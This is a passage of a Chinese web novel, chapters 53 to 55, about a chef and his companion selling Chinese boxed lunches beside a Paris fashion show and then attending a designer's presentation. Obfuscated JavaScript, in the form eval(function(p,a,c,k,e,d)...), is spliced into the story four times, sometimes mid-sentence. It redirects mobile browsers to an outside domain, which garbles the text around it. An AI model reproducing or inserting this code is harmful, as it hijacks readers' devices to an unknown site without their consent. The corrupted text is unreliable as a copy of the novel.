“你是说，三荤三素一饭，足够体力工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775129|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作者吃饱的菜量，只要一点五欧元？”薇薇安打开汇率网站算了半天，发出难以置信的声音。 蒋醉余解释：“它在我们那也是比较便宜的……” 薇薇安觉得这不能算“比较”便宜。 他们在欧洲涨了亿点价。 不像之前在西班牙担心外国人吃不惯浪费，就把螺蛳粉当成小吃卖。 盒饭毕竟算正餐，考虑到当地物价和午餐习惯，最终定了荤菜每道一点五欧、素菜则只要一欧。 “这怎么能算涨价，”薇薇安说，“如果这条街上有快餐店，一定会想把你打出去。” 次日十一点，盒饭小摊准时开业。 这条街的流量不知道比草坡好了多少，他们刚开摊就有人吸吸鼻子走了过来。 会场马上要迎来几场大秀，现在到处是进进出出的工作人员。 搭了一上午台子的道具师席琳就是其中之一。 她负责的会场，设计师提出了很多需要喷漆上色的设想。为了自己的安全着想，她整个上午都带着口罩，依然感觉令人作呕的油漆味正通过缝隙涌向自己。 在组长宣布她可以去午休的时候，席琳放弃了自己包里的鸡蛋三明治，第一反应就是冲出建筑。 她坚信自己需要一些新鲜空气，来唤醒沉睡的嗅觉和味蕾。 在她的设想中，昨天刚下完雨，现在的街道应该带着泥土湿润的清香，空气中残存的水汽则会卷走感官神经所有疲惫。 但当她真正站在室外，迎面感受到的只有香得超出她认知的饭菜烟火味，比她在普罗旺斯休假时吃到的炖菜更浓郁、更复杂。 香气如同精准锁定目标的跑弹，顷刻将她俘虏到了“敌军营地”。 望着面前色彩缤纷却温暖的八个餐盆，法国人席琳果断举起白旗。 这八道菜食材、风格各异，甚至没有哪两道看上去是相同的做法。 在时尚界耳濡目染下，席琳首先审视起其中的四道素菜。 一道是中餐经典永不过时的番茄炒蛋，鸡蛋是完整的大块，上面挂满了浓稠的红色茄汁，残存的西红柿块也都煮得几乎要融在汤里。 绿意盎然的青菜却截然不同，炒空心菜嫩得仿佛刚断生，蒜末和在西班牙没用完的腐乳被素油烹出风味，进一步突出了素炒的清甜。 旁边地三鲜看着朴实无华，香气却几乎要和荤菜比拼，过油的茄子土豆外皮微皱，青椒显示出漂亮的虎皮纹理，上面裹满晶莹的棕褐色芡汁。 最后一道则是为辣味爱好者提供的干锅花菜。选用欧美不太好买到的“散菜花”，花头之间稀疏才方便锅气和豆豉的油香浸透每一根枝桠，为它们披上金黄橙红的外衣。 更不要说，还有荤菜…… 时间一分一秒过去，席琳仍然驻足站在摊前，彻底挑花了眼。 “席琳小姐，你看什么呢？”不远处有人喊道。她回过头去，是她这次合作的模特们——连午休时间更晚的模特都休息了。 她们走到摊子面前，其中一个银白色超短发的黑人女生问：“这是中餐吗？怎么卖呀？” 她出现的瞬间，蒙站弹幕的复读机们刷过一片【这才叫黑珍珠啊！姐姐给个姬会！】 薇薇安闻言笑起来：“借花献佛，你吃免费。” 53. 红烧肉或鸡翅 这是摊主的熟人吗？ 本在犹豫要吃肉还是减肥的席琳抬起头，踟蹰着开口：“你好，好像是我先来的……” 黑人模特“呀”了一声，忙不迭让开：“不好意思，我们不是来买饭的。” 她说着，就独自向餐车后走来。 “各位好久不见呀，”她笑盈盈地招呼道，“醉余你的西班牙之行一定不错，看起来帅多了。” 蒋醉余同她挥挥手：“好久不见，你怎么也在这？” “当然是回归本行了，我当模特比做饭挣得还是多一点，”丽贝卡说，“当初退赛之后有法国的经纪公司联系我，我就没回美国，跑到这边走秀了。” 她指指自己身后的三个模特：“我现在也算是升了半级，负责带这三个姑娘入行呢。” 《摆摊日记》联系她的时候，丽贝卡还觉得可惜，自己没法和老朋友们一起参加新节目。 她本想趁着午休问问薇薇安在哪，如果离得近就过来看看。 结果万万没想到，不知道是哪位路人听到了她内心的呐喊，竟然把摆摊地点指定到了她秀场的后门。 丽贝卡在薇薇安旁边挤出一个空位：“来都来了，我在这陪你们看摊吧。” 四人的目光重新聚集向席琳。 好一个美色天堂……席琳被盯得晕晕乎乎，终于没有更多的心思纠结，屈从于自己的真实想法： “我想要两道肉菜、一道素菜。” 话一说出口，她不自觉地长出一口气，感觉自己卸下了一个巨大的包袱。 她不再耽误时间，果断地指了指自己早就看好的两道荤菜。 实在不能怪她意志品质不坚定，是那盆里的食物太诱人。 席琳选的第一道是红烧肉，每层浅红色的薄薄肥肉都被夹在纤维分明的瘦肉之间，顶端光滑晶莹的肉皮随着铲子拨动轻轻摇曳。 按照摊主的说法，这一锅用的都是母猪或麻醉阉割过符合动物福利的公猪，所以猪肉本身膻味就很轻，在长时间的炖煮后放任香料味渗入自己的每一个空隙。 每间中餐馆都有红烧肉，每个中国人似乎都掌握着不同的做法。因为前不久才做过东坡肉，蒋醉余这次选择了毛氏红烧肉的咸口微辣做法。 第二道则是某种鸡翅，挂着浓郁黏稠的汤汁，金灿灿地躺在盘中，间或有翠绿的芦笋作为点缀。 看外观席琳只能想到裹了面包糠的炸鸡，但摊主说它们不是油炸食品。 这让她感觉罪恶感稍微降低了一点。 “如果你听说过英国的‘壹嘉’快餐，它推出了一款相当火爆的咸蛋黄炸鸡汉堡和金沙南瓜条，就是和我们摊主的联名美食哦。”齐新雨认认真真打广告。 “我们现在卖的这道菜是金沙焗无骨鸡翅。” 鸡翅先在油锅中煎出焦化层，咸蛋黄被炒到冒泡，最大程度激发它本身的风味。 随着炸开的泡泡，金沙抱住沾了淀粉的鸡皮。当鸡肉出过锅，“粘人”的咸蛋黄却又冷静下来，用酥脆有棱角的外壳面对食客。 席琳选了空心菜作为素菜，因为它看起来最绿最健康。 摊主盛饭的时候手一点都不抖，标准大小的一次性餐盒底部是自选量的白米饭，上面则满满当当盖着三道菜。 工作室里油漆味太重，席琳走了几百米，在路边找了张长椅就吃了起来。 只是她找座位的这一小段时间，红烧肉的酱汁和空心菜的腐乳汤就已经顺着米饭缝隙流淌下去，给它们染上温暖的颜色。 米饭拌上汤汁和肉菜，咬下满满一大口，这是她从未感受过的餍足。 碳水、油脂与蛋白质在口腔中共舞，人类对高热量的本能热爱被唤醒。 红烧肉的肥肉部分入口即化，瘦肉也只需要牙齿一碾就会四散，但她竟然觉得最好吃的是米饭。 在咀嚼米粒的时候，被分解的淀粉会慢慢析出甜味，伴着红烧肉汤的咸香、微辣轮番登场，最终彻底交融。 鸡翅的味道更是无与伦比，她一瞬间明白了那家英国餐饮公司为什么要和个人联名。 咸蛋黄的味道相当独特，更无可替代的是摊主对火候的把握。 当脆壳在唇齿间破裂，油脂被尽数压榨的鸡皮应声断开，鸡肉迫不及待地炸出汁水。 脱骨处理精准踩中了食客的内心，像是伊甸园敞开大门供人长驱直入，令人毫不费力地就能把一整个鸡翅连带其中的脆骨吃干抹净。 空心菜则不负她爽口的预期。席琳以前没见过这种蔬菜，却深深被它捕获。 那中通的茎部恰如意大利人的杰作通心粉，把腐乳汁抱在了自己怀里，是清脆的口感。 空心菜的叶片又带了点毛茸茸的质感，被炒得绵软入味，随意嚼几口就敢冲进食道。 吃完午饭的席琳靠在长椅上，几乎想在这样完美的树荫下睡一觉，但一个念头很快冲入脑海。 她当即站了起来。 既然小摊本来提供的就是这种方便携带的饭盒，那是不是意味着……自己还可以打包一份留待下次食用呢？ 甚至她可以把剩下五个菜全都盛走，今天晚上吃三个菜，明天早上再吃两个，明天中午又能吃到新的盖浇饭菜品了。 她真是个天才！ 席琳拎起包，急匆匆地走向小摊。摊前现在没什么人，依然只有那群模特围着。 她一边庆幸着自己及时想到了这个好注意，一边又有些隐隐的不满。 小摊的饭菜这么好吃，怎么会没人来呢？难道只有她一个人发现了老板的大才吗？ 蒋醉余看到她又回来了，有些惊讶：“是饭菜有什么问题吗？” 席琳沉浸在自己脑补的“慧眼食客拯救破产小摊”戏码里，豪气干云地说：“老板，不用担心生意！把剩的菜都卖给我吧，我回去冻上吃！” 蒋醉余一愣。 他还没说话，站了一中午的模特姑娘们不乐意了：“这里的菜已经不足一份了，你还想吃的话明天多打点吧。” 啊？ 席琳这才低下头：小摊哪里是她想象中的经营不善，根本是因为售空了，所以才没有顾客围着啊。 至于仍在这里住步不前的模特…… 她们回过头去，拉着丽贝卡的衣袖喊她的昵称：“求你了贝琪，你就跟我们一起分盒饭吧，三个人吃有点多，但是四个人吃刚刚好啊。” 丽贝卡冷酷摇头：“周日就走秀了，这种高油高盐的东西会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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经纪人一把拿过桌上的饭盒，逐一数落：“你们还敢吃猪肥肉、鸡皮、炸土豆……”她抽抽鼻子。 这个地三鲜里的炸土豆真的好香，有点说不下去了，但是必须要在设计师面前表态。 她迅速删减了自己的长篇大论，跳到总结陈词部分：“总而言之，这盒饭我就没收了，下午该做什么你们自己心里有数，别被我抓到偷懒。” 经纪人把目光转向路易斯，只听对方轻咳一声，款款开口：“这也不能完全算是你们的问题，虽然我没吃过，但那毕竟醉余做的饭。” 他眼神发亮地看着四名模特：“只要你们给我描述一下摊位上泽菲尔和醉余的互动，我就不和你们公司透露半句不是。” 经纪人难以自抑地发出一声“啊？” 路易斯突然腼腆起来：“我缪斯的眼光太好了，他们两个站在一起真是绝配！所以我是他们的cp粉……你们懂吧？ “我会用你们吃了醉余的饭为由，邀请他们两个来看我的秀，顺便试一下我以他们为灵感设计的衣服。不过放心，我只和他们两个说。” “女士们，”他看着仍然呆愣的模特们，“午休时间不多了，快趁着你们的记忆还新鲜，告诉我他们两个都偷偷互动了什么吧。” 他好像真的是认真的。 小模特想了半天，终于开口： “醉余和泽菲尔没有什么很夸张的互动。但是我不知道是不是我的错觉……我总觉得醉余在，嗯，比较刻意地在泽菲尔面前表现？” 54. 想吃鱼香肉丝 蒋醉余感觉自己稍微有一点紧迫感。 倒不是来自路易斯，从齐新雨对路易斯的态度就知道这个人对他没有任何威胁。 他只是那瓶醋被齐新雨丢到自己怀里的一瞬间突然开始思考，自己是站在什么立场上表达他对路易斯的不喜呢？ 先前他总想再等等，等到齐新雨在自己面前没了略显拘谨的包袱，甚至等到齐新雨主动坦白他的马甲……好吧，这个可能有点难。 现在他不想等了。 时隔数月，他又一次打开西风太太的黑叉主页。 不再是为了报答梦里那个倾尽所有为自己复仇的小粉丝，而是为了烈火烹油。这场荒原上情投意合的野火只需要唯一的助燃剂。 齐新雨最近又发了不少速写，这是个好消息。 他抱着学习的心态，仔细翻看起那些令人面红耳赤的作品。 他的审美倾向很好辨认，他似乎总喜欢画一些颇有压迫感的场景。 蒋醉余不知道他什么时候露出过那种翘着二郎腿的面瘫脸，在专门设计的阴暗光影下像个邪恶反派。 也想象不出来自己握着鞭子、教鞭或者什么认不出来的东西在手心轻轻拍打的危险时刻。 最重要的是，世界上绝对不会有任何一个正常人穿成这样去路边摊卖盒饭。 他挑了半天，只能在配饰上下功夫。 谢天谢地齐新雨还喜欢点覆面系之类蒋醉余其实没太看明白萌点的风格。 “我没事干的时候搜了一下，好像他平时穿大地色系的棉麻料子比较多，”小模特对着路易斯比比划划，“但是今天多了不少配饰，比如耳钉和眼镜。” 蒋醉余一直有耳洞，在男团时候打的，但是很久没有戴过。今天特意早起了一点，在卫生间独自对着镜子扎了半天。 耳洞边缘已经有点长上了，他原本自认为以后没什么戴耳钉的场合，想就这样放着不动。 能切出菊花豆腐和蓑衣黄瓜的手自然很稳，银针坚定地挤开皮肉。蒋醉余微微皱眉，又对另一只耳朵如法炮制。 他带的是很朴素的一对耳钉，小颗黑曜石在阳光下不规则地折光。 盒饭只需要一个人盛，他们三个人轮班制。齐新雨没有活要干的时候，就偷偷伸出手接光斑。 “哇哦，”路易斯听得全神贯注，“然后呢？” 丽贝卡在旁边拆台：“今天的黑色胶皮手套也是新的，他以前做菜最不喜欢戴这种手套。” 蒋醉余手指向后一勾胶皮手套，弹性很强的边缘打在手腕上发出清脆响声。橡胶服服帖帖包裹整只手，在攥拳时倏尔绷紧。 他拍拍手，手套相碰发出闷响。 对于突然冒出来的眼睛和手套这两个大件配饰，蒋醉余振振有辞： “我看到有直播观众质疑，我装盒饭的时候手套歪了没用，还有人说菜盆里明明有小块剩菜，但是我没看到没给客人打。” 他确实稍微有一点近视，其度数就和齐新雨的厨艺一样聊胜于无。至于个别观众抬杠一样的发言，更是此前从未在意过。 但解释是说给信的人听的，比如齐新雨。 细框眼镜实在是件增加压迫感的利器，薄薄的无色玻璃并不能起到隐藏眼神的作用，反而靠反光衬托出几分寒意。 蒋醉余坐在凳子上，齐新雨就把眼镜往鼻梁上推一点，偏要看他镜片后的双眼。 蒋醉余不依，伸手将眼镜推回原位再去看他，齐新雨肉眼可见地反应迟缓起来。 当天晚上，西风太太又更新一张图片。这次不是速写，是一张上了二分底色的线稿。 蒋醉余品味半天，勉强认为这大概是某种几百年前的欧洲场景，自己这次的人设可能是什么家教或者马术老师……或者管家？ 他又打开评论区，一条条用词露骨的评论在他眼前冒出又消失。 原来这就是为什么他以前觉得评论区看着比博主本人含蓄——明显觊觎他的评论都直接被删了。 蒋醉余想象着齐新雨一条条删评的样子，不禁笑出声。 总之，看来这套方法效果不错，蒋醉余得出一个令人满意的结论。 只要有用，黑手套有多吸热也就不是那么重要了。 这样的装扮他保持了两天。等到周六，后门的人多了起来，熟客却少了很多。 街上其余生人中有不少扛着长枪短炮的记者，白光时不时朝着他们这边闪过。 “时尚圈的人饭量比我们想象中小，估计今天就能卖够份数了，”薇薇安看看销量，“不过今天明显有活动，不知道还有没有足够多人来这吃饭。” 忽然间，快门声密集了起来，一道身影逆着人群向小摊跑来。 是路易斯。 “泽菲尔你别躲，我不是来找你试衣服的，”他还没靠近就连忙喊道，“我是来买盒饭的。” 他掰着手指头数了数：“经纪人、助理、道具师……嗯，每道菜都要八份，然后再来二十份饭吧。” “二十份？”蒋醉余确认道。 八卦的记者们正在逼近，路易斯语速飞快地抱怨：“没错，就是这么多。昨天丽贝卡的经纪人给我带饭，没想到被我的同事们抓个正着。” 前天模特们没吃完的饭，最后都进了经纪人的肚子。 米饭和菜都有点放凉了，蛋黄脆壳变得软趴，柔软的米饭却干硬起来，但不影响。 经纪人自觉手底下的模特捅了个大篓子，昨天忍不住跑来小摊卖饭的时候，就给路易斯也带了一份。 彼时路易斯正在开会，等会议结束，所有人都闻见了他助理手里的饭香。经纪人特意让蒋醉余把每道菜都给他打了半份，结果这齐全的八道菜全让那群家伙搜刮去。 周六日这两天，楼里充满了秀场。路易斯自己把时间定在明天晚上，但今天有他手底下一个副牌的发布会。 老板当甩手掌柜，助理等人就忙得不可开交。现在还没到模特穿上服装、需要他这个设计师帮忙查漏补缺的时候。 平易近人的老板干脆被打发出来买饭。 “路易斯，请问你来吃路边摊是因为品牌上个季度销售额不佳吗？”记者们冲了过来。 “我的品牌前景很好，不劳各位费心。” 路易斯收回探头探脑絮絮叨叨的模样，一本正经地对着摄像头开口：“时尚界人士也是要吃饭的，比如我就很喜欢这家中餐盒饭和摊主夫夫。” 齐新雨瞥了他一眼。 路易斯迅速收回话题：“所以希望大家不要以模特身材要求自己，普通人好好吃饭才是最重要的，我也衷心建议各位记者朋友都来尝尝醉余的手艺，真的很好吃。” 蒋醉余今天的八道菜和前两日依然没有重复。 荤菜中的两道“大菜”分别是番茄牛腩和红焖羊肉，另有鱼香肉丝、肉末蒸蛋。 番茄牛腩里放了过油的土豆，它们在长时间炖煮中被彻底软化，外表烂糊得足以化进汤里，也为番茄汤增添几分浓稠。 红焖羊肉不腥不膻，加了大料桂皮等数种香料和调料，却无一过分出挑。将软烂的羊肉放入口中，唯一能感受到的就是融合，仿佛它本身就该是这个味道。 鱼香肉丝的荔枝口很难把控，酸、咸与微辣争奇斗妍，这种微辣实际上并不来自常用的豆瓣酱，而应该由泡仔姜或泡红椒等川式泡菜提供。 肉末蒸蛋中肉末团团抱在一起，但打在最顶端凹槽的鸡蛋依然能够将其渗入，蛋白和肉末夹杂的位置口感最为独特。清汤浇在蛋黄上将其溶化，更是香气十足。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775131|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >素菜就更有特点了。 蒋醉余路过中国超市时偶然发现一批红菜薹，干脆买下大半。这是他家乡的特色，长得有点像异色版开花菜心，味道却截然不同。 菜苔的花、叶、茎都是不同味道，圆滚滚的紫色茎干意外地是有点绵软的口感，黄花嚼起来则有种别样的满足感。 只要加少量的蒜清炒，就足以激发菜苔的本味。回味一点清苦并不让人讨厌，反而很适合这个突然升温的长夏。 前几天的辣菜表现不算太好，所以后三道素菜选了洋葱炒鸡蛋、醋溜素木须和金汤西兰花。 洋葱和鸡蛋都分别炒到金黄，再把它们组合到一起迅速翻炒片刻，熟洋葱的香甜轻而易举将鸡蛋吞噬，顺势激发炒鸡蛋的咸鲜。 醋溜木须是京津一带的炒菜，放了鸡蛋、木耳和黄瓜，酸香扑鼻的芡汁黏稠而剔透地裹在食材上，味道格外突出。 金汤西兰花重复利用了前几天没放完的咸鸭蛋，西兰花茎被切成薄片，十分入味，金汤还渗入花头的每一点孔隙，一口咬下去几乎爆浆。 打包盒满满当当装了好几袋。对于这样的大顾客，节目组特意派出一个副导演陪他“送外卖”。 临走之前，路易斯递给他们两张纸：“这是我明天中午的发布会邀请函，欢迎你们来看。里面有很多来自我缪斯感情经历的灵感哦。” 齐新雨迷惑地看着他，又猛地回头观察蒋醉余的表情。蒋醉余晃晃带着手套的手，示意他接过邀请函：“不谢谢人家吗？” “你不要造谣，”齐新雨小声说，“我哪有什么别的感情经历。” 路易斯神秘一笑，留下身后几个等着点菜的食客，和稍远处一群神色犹豫的记者。 也许因为是时尚秀场附近，来的人也都是相关从业者，有些顾客甚至相貌很是突出。 颜狗到一开始就对着蒋醉余和齐新雨拍了几张的娱乐记者们，却已经没心情观察他们是哪位明星、模特或网红。 离得近了，饭菜的香味愈发扑鼻。 大锅饭虽然被诟病太粗犷不细致，但最大优点就是满满当当一锅能全方位刺激感官，只有后厨的猛火才能点燃这样的热情。 记者们对视一眼，紧紧抱着自己的机器开始争抢排队。 小摊又进入了熟悉的快节奏。 队伍的末尾站着一个鸭舌帽、口罩、粗框眼镜裹得严严实实的人：“除了不要牛肉，随便打几道推荐菜吧，麻烦了。” “你是个优秀的厨师，也是个好人，我从《美食之王》就在关注你了。”食客看着蒋醉余开始动作，又自顾自道。 蒋醉余抬起头，客人连忙社恐地低下头去。 蒋醉余于是伸出手：“谢谢你，那么重新认识一下吧，我是蒋醉余。” “我是伊拉，”客人很小声地回握，然后跑掉，“对不起。” “直播结束后，第一期正片就要开播了，大家记得去看哦。”蒋醉余熟练地在最后打了个广告。 今天巴黎艳阳高照，食客散尽后，蒋醉余就把眼镜摘下来擦汗。 齐新雨偷偷摸摸拿过眼镜，紧闭着眼扣在自己脸上。他一边动作，一边引开蒋醉余的注意力：“刚才那个戴帽子的人是我知道的那个伊拉吗？” 度数不合适的眼镜戴上难免眩晕，他小心翼翼地睁开眼。蒋醉余含笑看着他，漫不经心道： “是伊拉，她家境不好，没跟着我们一起退赛——小齐很在意我和别人握手吗？” 世界一如往常，没有变得模糊，也没有更清晰。还没有蒋醉余一句话威力大。 这根本是只平光镜。 齐新雨张张口刚想说点什么，导演就挥舞着平板冲过来：“爆了爆了！我们正片的国内外开播数据，都超了预期好几倍！” 55. 一块芝士蛋糕 导演看着《摆摊日记》在外国网站的实时评论区，陷入恍惚。 怎么你们西班牙人也学会复读刷屏了啊！ 那一条条冒出的相似文句，赫然正是“年幼无知”被跑路老板坑害的龙达食客们的字字泣血： “蒋醉余你为什么要走！” 当热爱锻炼的何塞老爷子和他的朋友们再一次光临草坡，当好奇心旺盛的本地人们跟着游客跑到这个偏僻角落想要一探究竟…… 一波又一波人从烈日高挂等到红霞满天，也没等来那个又臭又令人怀念的小餐车。 龙达是一座小城，居民们彼此都很熟悉，他们打听了半天，找到那位一看就认识摊主的大学生家里。 大学生从猫眼看到年龄种族性别各异的十几个人堵在门口，吓了一跳。 “你们不知道吗，”他困惑地说，“这个摊只摆五天啊。” “意思是，他们以后也不会回来了……？”何塞颤颤巍巍地问。 大学生点点头。 食客们魂不附体。 五天……五天能有什么用，就是一天三顿吃老板做的螺蛳粉，五天也吃不腻啊！ “我再也不说螺蛳粉臭了，老板你快回来啊……” “做了五天心理建设，我好不容易下定决心尝一尝，结果你告诉摊子没了？” 大学生挠挠头：“这周六中午正片上线，你们感兴趣可以看看，万一会拍摊主的制作过程呢。” “吃也吃不到，学也学不会，越看越馋自虐吗？”众人更绝望了 话是这样说，他们却还是呼朋引伴地打开视频。 “像我这种慧眼识珠的第一位顾客，肯定有很多镜头。”何塞十分得意。 他在手里拿好了纸笔，只等着从视频里随时偷师。 《摆摊日记》作为一部日常风格还带点公路片性质的美食节目，把旅行、买菜、做菜的每个环节都记录得十分细致。 螺类、酸豆角、酸笋、米粉，还有一堆认不出来的亚洲香料…… 何塞挠着头在纸上划拉半天，终于想到一个好主意： “塞维利亚一共也没有几家中国超市，我们直接找过去让店主一模一样给拿一份不就好了吗！” 说干就干，他和家人收拾好东西，第二天就驱车前往塞维利亚。综艺里空荡荡的小店此时摩肩接踵，店主的声音都要被淹没。 何塞大为震撼，抓住一个身边的年轻人：“怎么会有这么多人呢？” “谁知道啊，”年轻人举着黑叉热议话题附和，“怎么大家都能找到这里来呢……” 何塞定睛看去，网上众人讨论得热火朝天。 【塞维利亚有家中国超市的老板真会做生意，节目还没开播她就进了一批酸笋和成品螺蛳粉，这几天好多周边城市的人专程来买。】 【听说卖螺给醉余的那个小贩也可好认，只要去集市上找最臭的那个人就行了。】 【我也听说了，他行动力特别强，对着节目用自己的水产说要复刻螺蛳粉挣钱，结果被他老婆问谁家卫生间沸腾了，直接赶出家门了。】 也有人对自己的炸厨房水平具有清晰的认知：【等一下，你们说还有成品螺蛳粉？那我从龙达回来心痒难耐馋了好几天算什么啊！】 没吃到螺蛳粉的网友妒火中烧，幸灾乐祸：【算你预支运气，算你不懂变通。】 可不到两小时后，同一位博主又奄奄一息地爬上社交媒体： 【朋友们，买螺蛳粉之前翻译一下，不要选写着“加臭”的款式……这怎么和我在醉余那吃到的根本不一样啊！ 【我还兴冲冲分享给我爸妈，现在他们看我的眼神都变了！】 视频一出，大洋东西，四处弥漫着灵感来自广西的神秘“生化武器”。 这些奇人异事此时还没有尽数发生。 目前更让蒋醉余好奇的是，这个节目在国内又是怎么爆的？ “还有高手，”导演持续恍惚，“你记得刚刚有一个戴大牌墨镜、长得挺好看的华人客人吗？” “那是国内新晋流量，刚刚发了带定位的微博夸盒饭好吃。粉丝一下就找过来了。” “还有新的粉丝要来？”蒋醉余大惊失色。 在一大群客人陆陆续续走后，最后剩的一点饭菜他们卖了很久才售罄。 这些姗姗来迟的食客大多是年轻女孩，在吃完饭后没有去秀场，而是苦苦守在后门。 她们是模特的粉丝，因为没有得到发布会的票，只能沿袭音乐剧和舞剧观众的习惯，等在后门期待能碰上散场的模特，也许可以收获一个签名。 蒋醉余今天做了洋葱炒鸡蛋和番茄牛腩这样味道浓烈、久久不能散尽的菜色，模特们抽抽鼻子，顺着粉丝手指的方向望过来。 听着副导演速报“流量的粉丝说已经抵达这条街了”，他手一伸捞过齐新雨的手腕： “那还等什么，快走吧！” 盒饭卖得汤都剩不下一滴，万一被堵在这了，这一次他们拿什么跑路啊！ 一条长街通两边，这头是饥肠辘辘的模特，那头是做好准备打卡爱豆同款的流量粉丝。 以丽贝卡一声“醉余别跑”的大喊为起始，节目组的房车拖着小餐车，风驰电掣地冲出街道。 后面跟着个高腿长、拎起高跟鞋狂奔的模特，和掌握工具租了自行车的追星女孩。 路易斯走出秀场，迷茫地看着这幅场面：“哇哦，〇度与基情来巴黎取景了？” 第二天，蒋醉余没有出摊。 更多慕名而来的观众和食客在街上苦苦寻觅的时候，他正和齐新雨一起坐在路易斯的发布会现场。宾客已经散尽，路易斯的助理才匆匆找来。 “两位跟我来后台吧。”他说。 蒋醉余点点头，庆幸助理没有和他们攀谈的打算。 坦白讲，他没太看明白大设计师的艺术表达，只知道模特身上贯穿金色的人造皮毛和自然装饰。 而齐新雨明显不太开心。 蒋醉余抓着他的手，沿着古希腊风格的秀台逆行而上。 “不生气了好不好，生气伤身体，”蒋醉余晃晃他，“今天晚上给你做薄荷牛肉，再加个芝士蛋糕；今天你可以只吃芝士顶，你不喜欢的饼干底归我。” 齐新雨往他旁边靠了一点：“没和你生气。” “我知道，但是我不想看到你生气，”蒋醉余揽住他。“或者小齐能不能告诉我是为什么呢？” 齐新雨叹了口气。 “那个路易斯，”他恨恨开口，“他也太明目张胆了！” 正往出走的路易斯高举双手：“你不要诬陷我！” 一提到自己的半个专业领域，齐新雨也算打开了话匣子：“这场的主题多明显啊，希腊神话里的金羊毛和金苹果。” 金苹果掌握在局外人帕里斯王子的手上，要被献给最美的一位神祇，因为他与比美的哪方都无关、是客观的视角。 金羊毛则是挂在一棵被巨龙守护的橡树上，在女祭司美狄亚“为爱反水”下，成为阿尔戈英雄的战利品。 “以前有人说我画画像帕里斯，”齐新雨说，“看到美色和欲望，但并不理解它们。” 原来这是很直白的影射吗？ 蒋醉余有一搭没一搭地捋着脊柱给他顺毛。 齐新雨气鼓鼓：“再加上路易斯非要在走秀结束出场的时候提一句，这下是个人都能猜出来在说我们两个了，这不是逼宫吗。” 路易斯大呼冤枉，且愤愤不平：“我哪知道你们俩都说什么私奔了还没在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775132|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起啊。” “泽菲尔你现在好保守啊！就算说我明目张胆，也得是指我给你们俩留下的这两套衣服吧。” “什么衣服？”齐新雨面无表情地盯着他。 路易斯指指更衣室：“已经挂在里面了哦，你一定会喜欢的。” 齐新雨无奈起身。 “我就知道又是这个结果，”他嘀咕着，“现在蒋先生知道我为什么不想看到他了吧。 “每次一见面，路易斯就要让我试衣服！” 他有理由相信，路易斯根本只是希望他做一个莫得感情的衣服架子。 “小齐不希望别人说我们在一起吗？”蒋醉余把话题扯回来，明知故问。 更衣室很大，足够装下两个成年男人，但只有一把凳子。 齐新雨不理他，轻轻拂过人台上那套衣服：“蒋先生你看，我这件就是典型的金羊毛主题——用现在的话说，美狄亚是个三观不正的病娇。” 美狄亚和帕里斯的结局都并不好，这倒是无所谓，反正搞艺术和人文的家伙最爱翻来覆去解构。 路易斯虽然人不太靠谱，对于浓烈的感情却有着旁人难及的敏锐，也很擅长发现本人都想不到的隐藏气质。 齐新雨只是草草在身上比划一下上衣，便惹人眼前一亮。 “美狄亚会为了爱情杀死自己的弟弟、跟着自己一见钟情的对象私奔，也会把出轨的爱人挫骨扬灰。” 毛面外搭染色精细，表面看上去是金灿灿的。轻轻拨开才能看到每一根长毛的根部都漆黑如墨。 “我也很疯狂，”齐新雨笑眯眯地回头，“但我遵纪守法。” 这是套深棕色双排扣西装，内搭稍浅一点的同色系高领。 从西装一边领口伸出一条柔顺的长毛宽缎带。 往臂弯里一搭，就压过另一边领口绑到身后，披风似的在侧面垂垂坠地，勾勒出胸腰处线条。 这条绸带底布柔软，一根根贴上细密的丝线做出毛毛效果，也依然轻薄。 整套衣服颜色都暗沉，穿到他身上终于盖住那几分象牙塔里养出来的稚气，有了点小说大反派的实感。 黑发碧眼愈发浓墨重彩，像一块墨翠，眼瞳幽幽折光。 可他一笑起来，就打破了这种气质。 怎么说呢，蒋醉余想，有点像奶猫伸爪子，咪咪呜呜地宣告自己超凶。 什么沉稳古典都成了细枝末节，化为陈旧史诗里走出来的意气风发少年郎。 蒋醉余俯下身去，捞起那条毛毛披风的底边，逆着一路把方向单一服帖的长毛搞乱。 轻轻用力拉扯一下绸带，齐新雨就顺势向前踉跄两步，撞到了他的胸前。 “蒋先生。”齐新雨眨眨眼，在蒋醉余怀里踮起脚，小鸟似的伸手去够另一架人台上的衣服。 蒋醉余紧张地环着他，生怕一时站不稳跌倒。 等齐新雨把那件外套甩到他身上，他这才有功夫欣赏路易斯靠目视给自己安排的打扮。 ……好生富贵。 一件咖色长外套，上半截全是深深浅浅金线绣出来的叶片，到了腰线才迅速变得稀疏然后消失。 